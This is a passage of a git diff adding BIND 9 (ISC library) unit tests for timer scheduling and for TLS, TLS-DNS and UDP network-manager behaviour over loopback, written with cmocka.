+#include <isc/timer.h>
+#include <isc/util.h>
+
+#include "timer.c"
+
+#include <tests/isc.h>
+
+/* Set to true (or use -v option) for verbose output */
+static bool verbose = false;
+
+#define FUDGE_SECONDS	  0	    /* in absence of clock_getres() */
+#define FUDGE_NANOSECONDS 500000000 /* in absence of clock_getres() */
+
+static isc_timer_t *timer = NULL;
+static isc_time_t endtime;
+static isc_mutex_t lasttime_mx;
+static isc_time_t lasttime;
+static int seconds;
+static int nanoseconds;
+static atomic_int_fast32_t eventcnt;
+static atomic_uint_fast32_t errcnt;
+static int nevents;
+
+typedef struct setup_test_arg {
+	isc_timertype_t timertype;
+	isc_interval_t *interval;
+	isc_job_cb action;
+} setup_test_arg_t;
+
+static void
+setup_test_run(void *data) {
+	isc_timertype_t timertype = ((setup_test_arg_t *)data)->timertype;
+	isc_interval_t *interval = ((setup_test_arg_t *)data)->interval;
+	isc_job_cb action = ((setup_test_arg_t *)data)->action;
+
+	isc_mutex_lock(&lasttime_mx);
+	lasttime = isc_time_now();
+	UNLOCK(&lasttime_mx);
+
+	isc_timer_create(mainloop, action, (void *)timertype, &timer);
+	isc_timer_start(timer, timertype, interval);
+}
+
+static void
+setup_test(isc_timertype_t timertype, isc_interval_t *interval,
+	   isc_job_cb action) {
+	setup_test_arg_t arg = { .timertype = timertype,
+				 .interval = interval,
+				 .action = action };
+
+	isc_time_settoepoch(&endtime);
+	atomic_init(&eventcnt, 0);
+
+	isc_mutex_init(&lasttime_mx);
+
+	atomic_store(&errcnt, ISC_R_SUCCESS);
+
+	isc_loop_setup(mainloop, setup_test_run, &arg);
+	isc_loopmgr_run(loopmgr);
+
+	assert_int_equal(atomic_load(&errcnt), ISC_R_SUCCESS);
+
+	isc_mutex_destroy(&lasttime_mx);
+}
+
+static void
+set_global_error(isc_result_t result) {
+	(void)atomic_compare_exchange_strong(
+		&errcnt, &(uint_fast32_t){ ISC_R_SUCCESS }, result);
+}
+
+static void
+subthread_assert_true(bool expected, const char *file, unsigned int line) {
+	if (!expected) {
+		printf("# %s:%u subthread_assert_true\n", file, line);
+		set_global_error(ISC_R_UNEXPECTED);
+	}
+}
+#define subthread_assert_true(expected) \
+	subthread_assert_true(expected, __FILE__, __LINE__)
+
+static void
+subthread_assert_result_equal(isc_result_t result, isc_result_t expected,
+			      const char *file, unsigned int line) {
+	if (result != expected) {
+		printf("# %s:%u subthread_assert_result_equal(%u != %u)\n",
+		       file, line, (unsigned int)result,
+		       (unsigned int)expected);
+		set_global_error(result);
+	}
+}
+#define subthread_assert_result_equal(observed, expected) \
+	subthread_assert_result_equal(observed, expected, __FILE__, __LINE__)
+
+static void
+ticktock(void *arg) {
+	isc_result_t result;
+	isc_time_t now;
+	isc_time_t base;
+	isc_time_t ulim;
+	isc_time_t llim;
+	isc_interval_t interval;
+	int tick = atomic_fetch_add(&eventcnt, 1);
+
+	UNUSED(arg);
+
+	if (verbose) {
+		print_message("# tick %d\n", tick);
+	}
+
+	now = isc_time_now();
+
+	isc_interval_set(&interval, seconds, nanoseconds);
+	isc_mutex_lock(&lasttime_mx);
+	result = isc_time_add(&lasttime, &interval, &base);
+	isc_mutex_unlock(&lasttime_mx);
+	subthread_assert_result_equal(result, ISC_R_SUCCESS);
+
+	isc_interval_set(&interval, FUDGE_SECONDS, FUDGE_NANOSECONDS);
+	result = isc_time_add(&base, &interval, &ulim);
+	subthread_assert_result_equal(result, ISC_R_SUCCESS);
+
+	result = isc_time_subtract(&base, &interval, &llim);
+	subthread_assert_result_equal(result, ISC_R_SUCCESS);
+
+	subthread_assert_true(isc_time_compare(&llim, &now) <= 0);
+	subthread_assert_true(isc_time_compare(&ulim, &now) >= 0);
+
+	isc_interval_set(&interval, 0, 0);
+	isc_mutex_lock(&lasttime_mx);
+	result = isc_time_add(&now, &interval, &lasttime);
+	isc_mutex_unlock(&lasttime_mx);
+	subthread_assert_result_equal(result, ISC_R_SUCCESS);
+
+	if (atomic_load(&eventcnt) == nevents) {
+		endtime = isc_time_now();
+		isc_timer_destroy(&timer);
+		isc_loopmgr_shutdown(loopmgr);
+	}
+}
+
+/*
+ * Individual unit tests
+ */
+
+/* timer type ticker */
+ISC_RUN_TEST_IMPL(ticker) {
+	isc_interval_t interval;
+
+	UNUSED(state);
+
+	nevents = 12;
+	seconds = 0;
+	nanoseconds = 500000000;
+
+	isc_interval_set(&interval, seconds, nanoseconds);
+
+	setup_test(isc_timertype_ticker, &interval, ticktock);
+}
+
+static void
+test_idle(void *arg) {
+	isc_result_t result;
+	isc_time_t now;
+	isc_time_t base;
+	isc_time_t ulim;
+	isc_time_t llim;
+	isc_interval_t interval;
+	int tick = atomic_fetch_add(&eventcnt, 1);
+
+	UNUSED(arg);
+
+	if (verbose) {
+		print_message("# tick %d\n", tick);
+	}
+
+	now = isc_time_now();
+
+	isc_interval_set(&interval, seconds, nanoseconds);
+	isc_mutex_lock(&lasttime_mx);
+	result = isc_time_add(&lasttime, &interval, &base);
+	isc_mutex_unlock(&lasttime_mx);
+	subthread_assert_result_equal(result, ISC_R_SUCCESS);
+
+	isc_interval_set(&interval, FUDGE_SECONDS, FUDGE_NANOSECONDS);
+	result = isc_time_add(&base, &interval, &ulim);
+	subthread_assert_result_equal(result, ISC_R_SUCCESS);
+
+	result = isc_time_subtract(&base, &interval, &llim);
+	subthread_assert_result_equal(result, ISC_R_SUCCESS);
+
+	subthread_assert_true(isc_time_compare(&llim, &now) <= 0);
+	subthread_assert_true(isc_time_compare(&ulim, &now) >= 0);
+
+	isc_interval_set(&interval, 0, 0);
+	isc_mutex_lock(&lasttime_mx);
+	isc_time_add(&now, &interval, &lasttime);
+	isc_mutex_unlock(&lasttime_mx);
+
+	isc_timer_destroy(&timer);
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+/* timer type once idles out */
+ISC_RUN_TEST_IMPL(once_idle) {
+	isc_interval_t interval;
+
+	UNUSED(state);
+
+	nevents = 1;
+	seconds = 1;
+	nanoseconds = 200000000;
+
+	isc_interval_set(&interval, seconds, nanoseconds);
+
+	setup_test(isc_timertype_once, &interval, test_idle);
+}
+
+/* timer reset */
+static void
+test_reset(void *arg) {
+	isc_result_t result;
+	isc_time_t now;
+	isc_time_t base;
+	isc_time_t ulim;
+	isc_time_t llim;
+	isc_interval_t interval;
+	int tick = atomic_fetch_add(&eventcnt, 1);
+
+	UNUSED(arg);
+
+	if (verbose) {
+		print_message("# tick %d\n", tick);
+	}
+
+	/*
+	 * Check expired time.
+	 */
+
+	now = isc_time_now();
+
+	isc_interval_set(&interval, seconds, nanoseconds);
+	isc_mutex_lock(&lasttime_mx);
+	result = isc_time_add(&lasttime, &interval, &base);
+	isc_mutex_unlock(&lasttime_mx);
+	subthread_assert_result_equal(result, ISC_R_SUCCESS);
+
+	isc_interval_set(&interval, FUDGE_SECONDS, FUDGE_NANOSECONDS);
+	result = isc_time_add(&base, &interval, &ulim);
+	subthread_assert_result_equal(result, ISC_R_SUCCESS);
+
+	result = isc_time_subtract(&base, &interval, &llim);
+	subthread_assert_result_equal(result, ISC_R_SUCCESS);
+
+	subthread_assert_true(isc_time_compare(&llim, &now) <= 0);
+	subthread_assert_true(isc_time_compare(&ulim, &now) >= 0);
+
+	isc_interval_set(&interval, 0, 0);
+	isc_mutex_lock(&lasttime_mx);
+	isc_time_add(&now, &interval, &lasttime);
+	isc_mutex_unlock(&lasttime_mx);
+
+	if (tick < 2) {
+		if (tick == 1) {
+			isc_interval_set(&interval, seconds, nanoseconds);
+			isc_timer_start(timer, isc_timertype_once, &interval);
+		}
+	} else {
+		isc_timer_destroy(&timer);
+		isc_loopmgr_shutdown(loopmgr);
+	}
+}
+
+ISC_RUN_TEST_IMPL(reset) {
+	isc_interval_t interval;
+
+	UNUSED(state);
+
+	nevents = 3;
+	seconds = 0;
+	nanoseconds = 750000000;
+
+	isc_interval_set(&interval, seconds, nanoseconds);
+
+	setup_test(isc_timertype_ticker, &interval, test_reset);
+}
+
+static atomic_bool startflag;
+static isc_timer_t *tickertimer = NULL;
+static isc_timer_t *oncetimer = NULL;
+
+static void
+tick_event(void *arg) {
+	int tick;
+
+	UNUSED(arg);
+
+	if (!atomic_load(&startflag)) {
+		if (verbose) {
+			print_message("# tick_event %d\n", -1);
+		}
+		return;
+	}
+
+	tick = atomic_fetch_add(&eventcnt, 1);
+	if (verbose) {
+		print_message("# tick_event %d\n", tick);
+	}
+
+	/*
+	 * On the first tick, purge all remaining tick events.
+	 */
+	if (tick == 0) {
+		isc_timer_destroy(&tickertimer);
+	}
+}
+
+static void
+once_event(void *arg) {
+	UNUSED(arg);
+
+	if (verbose) {
+		print_message("# once_event\n");
+	}
+
+	/*
+	 * Allow task1 to start processing events.
+	 */
+	atomic_store(&startflag, true);
+
+	isc_loopmgr_shutdown(loopmgr);
+	isc_timer_destroy(&oncetimer);
+}
+
+ISC_LOOP_SETUP_IMPL(purge) {
+	atomic_init(&eventcnt, 0);
+	atomic_store(&errcnt, ISC_R_SUCCESS);
+}
+
+ISC_LOOP_TEARDOWN_IMPL(purge) {
+	assert_int_equal(atomic_load(&errcnt), ISC_R_SUCCESS);
+	assert_int_equal(atomic_load(&eventcnt), 1);
+}
+
+/* timer events purged */
+ISC_LOOP_TEST_SETUP_TEARDOWN_IMPL(purge) {
+	isc_interval_t interval;
+
+	UNUSED(arg);
+
+	if (verbose) {
+		print_message("# purge_run\n");
+	}
+
+	atomic_init(&startflag, 0);
+	seconds = 1;
+	nanoseconds = 0;
+
+	isc_interval_set(&interval, seconds, 0);
+
+	tickertimer = NULL;
+	isc_timer_create(mainloop, tick_event, NULL, &tickertimer);
+	isc_timer_start(tickertimer, isc_timertype_ticker, &interval);
+
+	oncetimer = NULL;
+
+	isc_interval_set(&interval, (seconds * 2) + 1, 0);
+
+	isc_timer_create(mainloop, once_event, NULL, &oncetimer);
+	isc_timer_start(oncetimer, isc_timertype_once, &interval);
+}
+
+/*
+ * Set of tests that check whether the rescheduling works as expected.
+ */
+
+isc_time_t timer_start;
+isc_time_t timer_stop;
+uint64_t timer_expect;
+uint64_t timer_ticks;
+isc_interval_t timer_interval;
+isc_timertype_t timer_type;
+
+ISC_LOOP_TEARDOWN_IMPL(timer_expect) {
+	uint64_t diff = isc_time_microdiff(&timer_stop, &timer_start) / 1000000;
+	assert_true(diff == timer_expect);
+}
+
+static void
+timer_event(void *arg ISC_ATTR_UNUSED) {
+	if (--timer_ticks == 0) {
+		isc_timer_destroy(&timer);
+		isc_loopmgr_shutdown(loopmgr);
+		timer_stop = isc_loop_now(isc_loop_current(loopmgr));
+	} else {
+		isc_timer_start(timer, timer_type, &timer_interval);
+	}
+}
+
+ISC_LOOP_SETUP_IMPL(reschedule_up) {
+	timer_start = isc_loop_now(isc_loop_current(loopmgr));
+	timer_expect = 1;
+	timer_ticks = 1;
+	timer_type = isc_timertype_once;
+}
+
+ISC_LOOP_TEST_CUSTOM_IMPL(reschedule_up, setup_loop_reschedule_up,
+			  teardown_loop_timer_expect) {
+	isc_timer_create(mainloop, timer_event, NULL, &timer);
+
+	/* Schedule the timer to fire immediately */
+	isc_interval_set(&timer_interval, 0, 0);
+	isc_timer_start(timer, timer_type, &timer_interval);
+
+	/* And then reschedule it to 1 second */
+	isc_interval_set(&timer_interval, 1, 0);
+	isc_timer_start(timer, timer_type, &timer_interval);
+}
+
+ISC_LOOP_SETUP_IMPL(reschedule_down) {
+	timer_start = isc_loop_now(isc_loop_current(loopmgr));
+	timer_expect = 0;
+	timer_ticks = 1;
+	timer_type = isc_timertype_once;
+}
+
+ISC_LOOP_TEST_CUSTOM_IMPL(reschedule_down, setup_loop_reschedule_down,
+			  teardown_loop_timer_expect) {
+	isc_timer_create(mainloop, timer_event, NULL, &timer);
+
+	/* Schedule the timer to fire at 10 seconds */
+	isc_interval_set(&timer_interval, 10, 0);
+	isc_timer_start(timer, timer_type, &timer_interval);
+
+	/* And then reschedule it fire immediately */
+	isc_interval_set(&timer_interval, 0, 0);
+	isc_timer_start(timer, timer_type, &timer_interval);
+}
+
+ISC_LOOP_SETUP_IMPL(reschedule_from_callback) {
+	timer_start = isc_loop_now(isc_loop_current(loopmgr));
+	timer_expect = 1;
+	timer_ticks = 2;
+	timer_type = isc_timertype_once;
+}
+
+ISC_LOOP_TEST_CUSTOM_IMPL(reschedule_from_callback,
+			  setup_loop_reschedule_from_callback,
+			  teardown_loop_timer_expect) {
+	isc_timer_create(mainloop, timer_event, NULL, &timer);
+
+	isc_interval_set(&timer_interval, 0, NS_PER_SEC / 2);
+	isc_timer_start(timer, timer_type, &timer_interval);
+}
+
+ISC_LOOP_SETUP_IMPL(zero) {
+	timer_start = isc_loop_now(isc_loop_current(loopmgr));
+	timer_expect = 0;
+	timer_ticks = 1;
+	timer_type = isc_timertype_once;
+}
+
+ISC_LOOP_TEST_CUSTOM_IMPL(zero, setup_loop_zero, teardown_loop_timer_expect) {
+	isc_timer_create(mainloop, timer_event, NULL, &timer);
+
+	/* Schedule the timer to fire immediately (in the next event loop) */
+	isc_interval_set(&timer_interval, 0, 0);
+	isc_timer_start(timer, timer_type, &timer_interval);
+}
+
+ISC_LOOP_SETUP_IMPL(reschedule_ticker) {
+	timer_start = isc_loop_now(isc_loop_current(loopmgr));
+	timer_expect = 1;
+	timer_ticks = 5;
+	timer_type = isc_timertype_ticker;
+}
+
+ISC_LOOP_TEST_CUSTOM_IMPL(reschedule_ticker, setup_loop_reschedule_ticker,
+			  teardown_loop_timer_expect) {
+	isc_timer_create(mainloop, timer_event, NULL, &timer);
+
+	/* Schedule the timer to fire immediately (in the next event loop) */
+	isc_interval_set(&timer_interval, 0, 0);
+	isc_timer_start(timer, timer_type, &timer_interval);
+
+	/* Then fire every 1/4 second */
+	isc_interval_set(&timer_interval, 0, NS_PER_SEC / 4);
+}
+
+ISC_TEST_LIST_START
+
+ISC_TEST_ENTRY_CUSTOM(ticker, setup_loopmgr, teardown_loopmgr)
+ISC_TEST_ENTRY_CUSTOM(once_idle, setup_loopmgr, teardown_loopmgr)
+ISC_TEST_ENTRY_CUSTOM(reset, setup_loopmgr, teardown_loopmgr)
+ISC_TEST_ENTRY_CUSTOM(purge, setup_loopmgr, teardown_loopmgr)
+ISC_TEST_ENTRY_CUSTOM(reschedule_up, setup_loopmgr, teardown_loopmgr)
+ISC_TEST_ENTRY_CUSTOM(reschedule_down, setup_loopmgr, teardown_loopmgr)
+ISC_TEST_ENTRY_CUSTOM(reschedule_from_callback, setup_loopmgr, teardown_loopmgr)
+ISC_TEST_ENTRY_CUSTOM(zero, setup_loopmgr, teardown_loopmgr)
+ISC_TEST_ENTRY_CUSTOM(reschedule_ticker, setup_loopmgr, teardown_loopmgr)
+
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/isc/tls_test.c b/tests/isc/tls_test.c
new file mode 100644
index 0000000000..b3ed83b3bc
--- /dev/null
+++ b/tests/isc/tls_test.c
@@ -0,0 +1,159 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <signal.h>
+#include <stdarg.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+/*
+ * As a workaround, include an OpenSSL header file before including cmocka.h,
+ * because OpenSSL 3.1.0 uses __attribute__(malloc), conflicting with a
+ * redefined malloc in cmocka.h.
+ */
+#include <openssl/err.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/loop.h>
+#include <isc/nonce.h>
+#include <isc/os.h>
+#include <isc/quota.h>
+#include <isc/refcount.h>
+#include <isc/sockaddr.h>
+#include <isc/thread.h>
+#include <isc/util.h>
+#include <isc/uv.h>
+
+#include "uv_wrap.h"
+#define KEEP_BEFORE
+
+#include "netmgr_common.h"
+
+#include <tests/isc.h>
+
+ISC_LOOP_TEST_IMPL(tls_noop) {
+	stream_noop(arg);
+	return;
+}
+
+ISC_LOOP_TEST_IMPL(tls_noresponse) {
+	stream_noresponse(arg);
+	return;
+}
+
+ISC_LOOP_TEST_IMPL(tls_shutdownconnect) {
+	stream_shutdownconnect(arg);
+	return;
+}
+
+ISC_LOOP_TEST_IMPL(tls_shutdownread) {
+	stream_shutdownread(arg);
+	return;
+}
+
+ISC_LOOP_TEST_IMPL(tls_timeout_recovery) {
+	stream_timeout_recovery(arg);
+	return;
+}
+
+ISC_LOOP_TEST_IMPL(tls_recv_one) {
+	stream_recv_one(arg);
+	return;
+}
+
+ISC_LOOP_TEST_IMPL(tls_recv_two) {
+	stream_recv_two(arg);
+	return;
+}
+
+ISC_LOOP_TEST_IMPL(tls_recv_send) {
+	stream_recv_send(arg);
+	return;
+}
+
+ISC_LOOP_TEST_IMPL(tls_recv_send_sendback) {
+	allow_send_back = true;
+	stream_recv_send(arg);
+}
+
+/* TLS quota */
+
+ISC_LOOP_TEST_IMPL(tls_recv_one_quota) {
+	atomic_store(&check_listener_quota, true);
+	stream_recv_one(arg);
+}
+
+ISC_LOOP_TEST_IMPL(tls_recv_two_quota) {
+	atomic_store(&check_listener_quota, true);
+	stream_recv_two(arg);
+}
+
+ISC_LOOP_TEST_IMPL(tls_recv_send_quota) {
+	atomic_store(&check_listener_quota, true);
+	stream_recv_send(arg);
+}
+
+ISC_LOOP_TEST_IMPL(tls_recv_send_quota_sendback) {
+	allow_send_back = true;
+	atomic_store(&check_listener_quota, true);
+	stream_recv_send(arg);
+}
+
+ISC_TEST_LIST_START
+
+/* TLS */
+ISC_TEST_ENTRY_CUSTOM(tls_noop, stream_noop_setup, stream_noop_teardown)
+ISC_TEST_ENTRY_CUSTOM(tls_noresponse, stream_noresponse_setup,
+		      stream_noresponse_teardown)
+ISC_TEST_ENTRY_CUSTOM(tls_shutdownconnect, stream_shutdownconnect_setup,
+		      stream_shutdownconnect_teardown)
+ISC_TEST_ENTRY_CUSTOM(tls_shutdownread, stream_shutdownread_setup,
+		      stream_shutdownread_teardown)
+ISC_TEST_ENTRY_CUSTOM(tls_timeout_recovery, stream_timeout_recovery_setup,
+		      stream_timeout_recovery_teardown)
+ISC_TEST_ENTRY_CUSTOM(tls_recv_one, stream_recv_one_setup,
+		      stream_recv_one_teardown)
+ISC_TEST_ENTRY_CUSTOM(tls_recv_two, stream_recv_two_setup,
+		      stream_recv_two_teardown)
+ISC_TEST_ENTRY_CUSTOM(tls_recv_send, stream_recv_send_setup,
+		      stream_recv_send_teardown)
+ISC_TEST_ENTRY_CUSTOM(tls_recv_send_sendback, stream_recv_send_setup,
+		      stream_recv_send_teardown)
+
+/* TLS quota */
+ISC_TEST_ENTRY_CUSTOM(tls_recv_one_quota, stream_recv_one_setup,
+		      stream_recv_one_teardown)
+ISC_TEST_ENTRY_CUSTOM(tls_recv_two_quota, stream_recv_two_setup,
+		      stream_recv_two_teardown)
+ISC_TEST_ENTRY_CUSTOM(tls_recv_send_quota, stream_recv_send_setup,
+		      stream_recv_send_teardown)
+ISC_TEST_ENTRY_CUSTOM(tls_recv_send_quota_sendback, stream_recv_send_setup,
+		      stream_recv_send_teardown)
+
+ISC_TEST_LIST_END
+
+static int
+tls_setup(void **state ISC_ATTR_UNUSED) {
+	stream_port = TLS_TEST_PORT;
+	stream_use_TLS = true;
+	stream = true;
+
+	return (0);
+}
+
+ISC_TEST_MAIN_CUSTOM(tls_setup, NULL)
diff --git a/tests/isc/tlsdns_test.c b/tests/isc/tlsdns_test.c
new file mode 100644
index 0000000000..1e02b0a483
--- /dev/null
+++ b/tests/isc/tlsdns_test.c
@@ -0,0 +1,163 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <signal.h>
+#include <stdarg.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+/*
+ * As a workaround, include an OpenSSL header file before including cmocka.h,
+ * because OpenSSL 3.1.0 uses __attribute__(malloc), conflicting with a
+ * redefined malloc in cmocka.h.
+ */
+#include <openssl/err.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/async.h>
+#include <isc/loop.h>
+#include <isc/nonce.h>
+#include <isc/os.h>
+#include <isc/quota.h>
+#include <isc/refcount.h>
+#include <isc/sockaddr.h>
+#include <isc/thread.h>
+#include <isc/util.h>
+#include <isc/uv.h>
+
+#include "uv_wrap.h"
+#define KEEP_BEFORE
+
+#include "netmgr_common.h"
+
+#include <tests/isc.h>
+
+static void
+start_listening(uint32_t nworkers, isc_nm_accept_cb_t accept_cb,
+		isc_nm_recv_cb_t recv_cb) {
+	isc_result_t result = isc_nm_listenstreamdns(
+		listen_nm, nworkers, &tcp_listen_addr, recv_cb, NULL, accept_cb,
+		NULL, 128, NULL, tcp_listen_tlsctx, &listen_sock);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	isc_loop_teardown(mainloop, stop_listening, listen_sock);
+}
+
+static void
+tlsdns_connect(isc_nm_t *nm) {
+	isc_nm_streamdnsconnect(nm, &tcp_connect_addr, &tcp_listen_addr,
+				connect_connect_cb, tlsdns_connect, T_CONNECT,
+				tcp_connect_tlsctx,
+				tcp_tlsctx_client_sess_cache);
+}
+
+ISC_LOOP_TEST_IMPL(tlsdns_noop) {
+	start_listening(ISC_NM_LISTEN_ONE, noop_accept_cb, noop_recv_cb);
+
+	connect_readcb = NULL;
+	isc_refcount_increment0(&active_cconnects);
+	isc_nm_streamdnsconnect(connect_nm, &tcp_connect_addr, &tcp_listen_addr,
+				connect_success_cb, tlsdns_connect, T_CONNECT,
+				tcp_connect_tlsctx,
+				tcp_tlsctx_client_sess_cache);
+}
+
+ISC_LOOP_TEST_IMPL(tlsdns_noresponse) {
+	start_listening(ISC_NM_LISTEN_ALL, noop_accept_cb, noop_recv_cb);
+
+	isc_refcount_increment0(&active_cconnects);
+	isc_nm_streamdnsconnect(connect_nm, &tcp_connect_addr, &tcp_listen_addr,
+				connect_connect_cb, tlsdns_connect, T_CONNECT,
+				tcp_connect_tlsctx,
+				tcp_tlsctx_client_sess_cache);
+}
+
+ISC_LOOP_TEST_IMPL(tlsdns_timeout_recovery) {
+	/*
+	 * Accept connections but don't send responses, forcing client
+	 * reads to time out.
+	 */
+	noanswer = true;
+	start_listening(ISC_NM_LISTEN_ONE, listen_accept_cb, listen_read_cb);
+
+	/*
+	 * Shorten all the TCP client timeouts to 0.05 seconds, connect,
+	 * then sleep for at least a second for each 'tick'.
+	 * timeout_retry_cb() will give up after five timeouts.
+	 */
+	connect_readcb = timeout_retry_cb;
+	isc_nm_settimeouts(connect_nm, T_SOFT, T_SOFT, T_SOFT, T_SOFT);
+	isc_refcount_increment0(&active_cconnects);
+	isc_nm_streamdnsconnect(connect_nm, &tcp_connect_addr, &tcp_listen_addr,
+				connect_connect_cb, tlsdns_connect, T_SOFT,
+				tcp_connect_tlsctx,
+				tcp_tlsctx_client_sess_cache);
+}
+
+ISC_LOOP_TEST_IMPL(tlsdns_recv_one) {
+	start_listening(ISC_NM_LISTEN_ONE, listen_accept_cb, listen_read_cb);
+
+	isc_refcount_increment0(&active_cconnects);
+	tlsdns_connect(connect_nm);
+}
+
+ISC_LOOP_TEST_IMPL(tlsdns_recv_two) {
+	start_listening(ISC_NM_LISTEN_ONE, listen_accept_cb, listen_read_cb);
+
+	isc_refcount_increment0(&active_cconnects);
+	tlsdns_connect(connect_nm);
+
+	isc_refcount_increment0(&active_cconnects);
+	tlsdns_connect(connect_nm);
+}
+
+ISC_LOOP_TEST_IMPL(tlsdns_recv_send) {
+	start_listening(ISC_NM_LISTEN_ALL, listen_accept_cb, listen_read_cb);
+
+	for (size_t i = 0; i < workers; i++) {
+		isc_async_run(isc_loop_get(loopmgr, i),
+			      stream_recv_send_connect, tlsdns_connect);
+	}
+}
+
+ISC_TEST_LIST_START
+
+ISC_TEST_ENTRY_CUSTOM(tlsdns_noop, stream_noop_setup, stream_noop_teardown)
+ISC_TEST_ENTRY_CUSTOM(tlsdns_noresponse, stream_noresponse_setup,
+		      stream_noresponse_teardown)
+ISC_TEST_ENTRY_CUSTOM(tlsdns_timeout_recovery, stream_timeout_recovery_setup,
+		      stream_timeout_recovery_teardown)
+ISC_TEST_ENTRY_CUSTOM(tlsdns_recv_one, stream_recv_one_setup,
+		      stream_recv_one_teardown)
+ISC_TEST_ENTRY_CUSTOM(tlsdns_recv_two, stream_recv_two_setup,
+		      stream_recv_two_teardown)
+ISC_TEST_ENTRY_CUSTOM(tlsdns_recv_send, stream_recv_send_setup,
+		      stream_recv_send_teardown)
+
+/* FIXME: Re-add the noalpn tests */
+
+ISC_TEST_LIST_END
+
+static int
+tlsdns_setup(void **state ISC_ATTR_UNUSED) {
+	stream_port = TLSDNS_TEST_PORT;
+
+	return (0);
+}
+
+ISC_TEST_MAIN_CUSTOM(tlsdns_setup, NULL)
diff --git a/tests/isc/udp_test.c b/tests/isc/udp_test.c
new file mode 100644
index 0000000000..3ede5a29f1
--- /dev/null
+++ b/tests/isc/udp_test.c
@@ -0,0 +1,1229 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <signal.h>
+#include <stdarg.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+/*
+ * As a workaround, include an OpenSSL header file before including cmocka.h,
+ * because OpenSSL 3.1.0 uses __attribute__(malloc), conflicting with a
+ * redefined malloc in cmocka.h.
+ */
+#include <openssl/err.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/async.h>
+#include <isc/job.h>
+#include <isc/nonce.h>
+#include <isc/os.h>
+#include <isc/quota.h>
+#include <isc/refcount.h>
+#include <isc/sockaddr.h>
+#include <isc/thread.h>
+#include <isc/util.h>
+
+#include "uv_wrap.h"
+#define KEEP_BEFORE
+
+#include "netmgr/socket.c"
+#include "netmgr/udp.c"
+#include "netmgr_common.h"
+#include "uv.c"
+
+#include <tests/isc.h>
+
+static isc_sockaddr_t udp_listen_addr;
+static isc_sockaddr_t udp_connect_addr;
+
+/* Timeout for soft-timeout tests (0.05 seconds) */
+#define T_SOFT 50
+
+/* Timeouts in miliseconds */
+#define T_INIT	     120 * 1000
+#define T_IDLE	     120 * 1000
+#define T_KEEPALIVE  120 * 1000
+#define T_ADVERTISED 120 * 1000
+#define T_CONNECT    30 * 1000
+
+static int
+setup_test(void **state) {
+	setup_loopmgr(state);
+	setup_netmgr(state);
+
+	udp_connect_addr = (isc_sockaddr_t){ .length = 0 };
+	isc_sockaddr_fromin6(&udp_connect_addr, &in6addr_loopback, 0);
+
+	udp_listen_addr = (isc_sockaddr_t){ .length = 0 };
+	isc_sockaddr_fromin6(&udp_listen_addr, &in6addr_loopback,
+			     UDP_TEST_PORT);
+
+	atomic_store(&sreads, 0);
+	atomic_store(&ssends, 0);
+
+	atomic_store(&cconnects, 0);
+	atomic_store(&csends, 0);
+	atomic_store(&creads, 0);
+	atomic_store(&ctimeouts, 0);
+
+	isc_refcount_init(&active_cconnects, 0);
+	isc_refcount_init(&active_csends, 0);
+	isc_refcount_init(&active_creads, 0);
+	isc_refcount_init(&active_ssends, 0);
+	isc_refcount_init(&active_sreads, 0);
+
+	expected_cconnects = -1;
+	expected_csends = -1;
+	expected_creads = -1;
+	expected_sreads = -1;
+	expected_ssends = -1;
+	expected_ctimeouts = -1;
+
+	ssends_shutdown = true;
+	sreads_shutdown = true;
+	csends_shutdown = true;
+	cconnects_shutdown = true;
+	creads_shutdown = true;
+
+	isc_nonce_buf(&send_magic, sizeof(send_magic));
+
+	connect_readcb = connect_read_cb;
+
+	return (0);
+}
+
+static int
+teardown_test(void **state) {
+	UNUSED(state);
+
+	isc_refcount_destroy(&active_cconnects);
+	isc_refcount_destroy(&active_csends);
+	isc_refcount_destroy(&active_creads);
+	isc_refcount_destroy(&active_ssends);
+	isc_refcount_destroy(&active_sreads);
+
+	teardown_netmgr(state);
+	teardown_loopmgr(state);
+
+	return (0);
+}
+
+/* Callbacks */
+
+static void
+mock_recv_cb(isc_nmhandle_t *handle, isc_result_t eresult, isc_region_t *region,
+	     void *cbarg) {
+	UNUSED(handle);
+	UNUSED(eresult);
+	UNUSED(region);
+	UNUSED(cbarg);
+}
+
+static void
+udp_listen_read_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+		   isc_region_t *region, void *cbarg) {
+	if (eresult != ISC_R_SUCCESS) {
+		isc_refcount_increment0(&active_sreads);
+	}
+	listen_read_cb(handle, eresult, region, cbarg);
+}
+
+static void
+connect_nomemory_cb(isc_nmhandle_t *handle, isc_result_t eresult, void *cbarg) {
+	UNUSED(handle);
+	UNUSED(cbarg);
+
